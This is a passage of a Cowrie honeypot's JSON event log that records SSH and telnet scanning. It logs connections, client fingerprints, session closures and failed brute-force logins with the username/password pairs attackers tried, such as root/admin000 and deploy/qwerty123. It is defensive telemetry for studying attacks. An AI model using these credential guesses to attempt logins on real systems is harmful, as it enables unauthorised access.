{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:22.038260Z","src_ip":"87.251.64.176","session":"477365a364d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":60082,"dst_ip":"10.17.0.5","dst_port":22,"session":"5381fed7ee8b","protocol":"ssh","message":"New connection: 74.87.117.146:60082 (10.17.0.5:22) [session: 5381fed7ee8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:34.066460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:34.071071Z","src_ip":"74.87.117.146","session":"5381fed7ee8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:34.095397Z","src_ip":"74.87.117.146","session":"5381fed7ee8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin000","message":"login attempt [root/admin000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:34.224870Z","src_ip":"74.87.117.146","session":"5381fed7ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:56:35.252117Z","src_ip":"74.87.117.146","session":"5381fed7ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":57828,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c571240751d","protocol":"ssh","message":"New connection: 165.227.170.113:57828 (10.17.0.5:22) [session: 1c571240751d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:02.761499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:02.766533Z","src_ip":"165.227.170.113","session":"1c571240751d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:02.850767Z","src_ip":"165.227.170.113","session":"1c571240751d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf1","message":"login attempt [ubuntu/asdf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:03.221432Z","src_ip":"165.227.170.113","session":"1c571240751d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:04.313233Z","src_ip":"165.227.170.113","session":"1c571240751d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":35812,"dst_ip":"10.17.0.5","dst_port":22,"session":"c07f39ce2ab8","protocol":"ssh","message":"New connection: 190.242.109.42:35812 (10.17.0.5:22) [session: c07f39ce2ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:10.046370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:10.051426Z","src_ip":"190.242.109.42","session":"c07f39ce2ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:10.132684Z","src_ip":"190.242.109.42","session":"c07f39ce2ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"max","password":"tester","message":"login attempt [max/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:10.489237Z","src_ip":"190.242.109.42","session":"c07f39ce2ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:11.580420Z","src_ip":"190.242.109.42","session":"c07f39ce2ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":20370,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f67a8d92cb","protocol":"ssh","message":"New connection: 176.65.132.50:20370 (159.203.135.109:22) [session: 96f67a8d92cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:18.423781Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:19.069901Z","src_ip":"176.65.132.50","session":"96f67a8d92cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":59606,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9dcb9609b13","protocol":"ssh","message":"New connection: 103.15.226.202:59606 (10.17.0.5:22) [session: f9dcb9609b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:21.339683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:21.345119Z","src_ip":"103.15.226.202","session":"f9dcb9609b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:21.592342Z","src_ip":"103.15.226.202","session":"f9dcb9609b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456@","message":"login attempt [root/abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:22.337243Z","src_ip":"103.15.226.202","session":"f9dcb9609b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:23.585858Z","src_ip":"103.15.226.202","session":"f9dcb9609b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.143.237","src_port":18160,"dst_ip":"10.17.0.5","dst_port":23,"session":"d957f632e882","protocol":"telnet","message":"New connection: 103.216.143.237:18160 (10.17.0.5:23) [session: d957f632e882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:27.546531Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":30132,"dst_ip":"159.203.135.109","dst_port":22,"session":"c24cb389a1a9","protocol":"ssh","message":"New connection: 176.65.132.50:30132 (159.203.135.109:22) [session: c24cb389a1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:29.523664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:29.531307Z","src_ip":"176.65.132.50","session":"c24cb389a1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:29.908750Z","src_ip":"176.65.132.50","session":"c24cb389a1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":28499,"dst_ip":"10.17.0.5","dst_port":22,"session":"00e705b6d5e8","protocol":"ssh","message":"New connection: 74.87.117.146:28499 (10.17.0.5:22) [session: 00e705b6d5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:30.119203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:30.124866Z","src_ip":"74.87.117.146","session":"00e705b6d5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:30.150155Z","src_ip":"74.87.117.146","session":"00e705b6d5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty123","message":"login attempt [deploy/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:30.279624Z","src_ip":"74.87.117.146","session":"00e705b6d5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"H3C123","message":"login attempt [root/H3C123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:30.866470Z","src_ip":"176.65.132.50","session":"c24cb389a1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:31.307429Z","src_ip":"74.87.117.146","session":"00e705b6d5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:34.585621Z","src_ip":"176.65.132.50","session":"c24cb389a1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":6572,"dst_ip":"159.203.135.109","dst_port":22,"session":"815f4901b687","protocol":"ssh","message":"New connection: 193.24.211.100:6572 (159.203.135.109:22) [session: 815f4901b687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:34.631873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:34.641088Z","src_ip":"193.24.211.100","session":"815f4901b687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:34.749812Z","src_ip":"193.24.211.100","session":"815f4901b687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nicole","message":"login attempt [root/nicole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:35.178115Z","src_ip":"193.24.211.100","session":"815f4901b687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:36.289764Z","src_ip":"193.24.211.100","session":"815f4901b687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.00372314453125,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:40.550117Z","src_ip":"103.216.143.237","session":"d957f632e882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":57854,"dst_ip":"10.17.0.5","dst_port":22,"session":"63dce84856cd","protocol":"ssh","message":"New connection: 165.227.170.113:57854 (10.17.0.5:22) [session: 63dce84856cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:51.446135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:57:51.451100Z","src_ip":"165.227.170.113","session":"63dce84856cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 